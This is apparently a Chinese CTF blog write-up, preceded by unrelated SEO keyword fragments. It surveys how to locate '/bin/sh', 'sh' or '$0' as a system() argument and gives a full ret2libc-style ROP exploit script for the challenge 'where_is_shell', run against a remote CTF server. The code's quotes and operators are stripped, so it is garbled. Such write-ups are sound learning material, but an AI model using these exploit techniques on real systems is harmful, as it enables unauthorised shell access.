文明网站建设管理培训心得,十万pv的网站建设,网线制作实训报告心得体会,网站模板信息不存在pwn题中要通过system/excute等返回shell#xff0c;进而cat flag。今天遇到一题#xff0c;参数$(0)也可返回#xff0c;有必要记录一下。 目录
前言
一、/bin/sh
1.strings
2.IDA
3.pwntools
4.ROPgadget
5.libc中寻找
二、sh
三、$(0)
exp
IDA查看机器码
… pwn题中要通过system/excute等返回shell进而cat flag。今天遇到一题参数$(0)也可返回有必要记录一下。 目录
前言
一、/bin/sh
1.strings
2.IDA
3.pwntools
4.ROPgadget
5.libc中寻找
二、sh
三、$(0)
exp
IDA查看机器码
总结 前言
就system的参数而言/bin/sh、sh、$(0)这三者似乎都可以返回shell 一、/bin/sh
这个无需多说然而查找方式可以总结一下
1.strings
linux的指令~
strings filename | grep /bin/sh2.IDA
shiftF12即可获取所有的字符串即位置 当然我这个截图里面没有/bin/sh
3.pwntools
pwntools里面的ELF对象除了能够查看plt和got表信息地址、symbols查看标识位置还可以通过search来找字符串
from pwn import *
p process(filename)
bin_sh_addr next(p.search(/bin/sh))
#bin_sh_addr p.search(/bin/sh).next()
#这个next的使用据我印象好像是因为python2到python3的缘故
4.ROPgadget
ROPgadget --binary filename --strings /bin/sh
5.libc中寻找
from LibcSearcher import *
#之所以称为ret2libc
libcLibcSearcher(puts,puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc之后会做选择选择正确的那个即可
libc_addrputs_real_addr-libc.dump(puts) #libc的真实的基址puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addrlibc_addrlibc.dump(str_bin_sh) #/bin/sh的真实地址libc基址的真实地址/bin/sh相对于libc基址的偏移量
system_real_addrlibc_addrlibc.dump(system) #system函数的真实地址libc基址的真实地址system函数相对于libc基址的偏移量
#
当然如果给了本地文件pwntools的ELF也可以类似于方法3找到字符串 二、sh
这个是环境变量配置做题的时候遇到过用于替换‘/bin/sh可以尝试一下 三、$(0)
这是当前遇到的一道题目[GFCTF 2021]where_is_shell 利用system($0)获得shell权限$0在机器码中为 \x24\x30 题目给出了tips函数这一串东西是什么意思呢地址也没有呀~
查看机器码 发现了24 30机器码所以实际上我们可以把这里的地址作为参数。
exp
from pwn import *
from LibcSearcher import *context(oslinux,archamd64,log_leveldebug)
ioremote(node4.anna.nssctf.cn,28559)elfELF(./shell)system_pltelf.symbols[system]
#system_plt0x400430if system_plt!elf.symbols[system]:print(system_plt, ,elf.symbols[system])#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh0x400541
rdi0x4005e3
ret0x400416payloadba*(0x108)
payloadp64(ret)
payloadp64(rdi)p64(bin_sh)
payloadp64(system_plt)io.sendlineafter(bit?\n,payload)
io.interactive()IDA查看机器码 opcode bytes设置一下保存即可 总结
对于system参数的选取有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦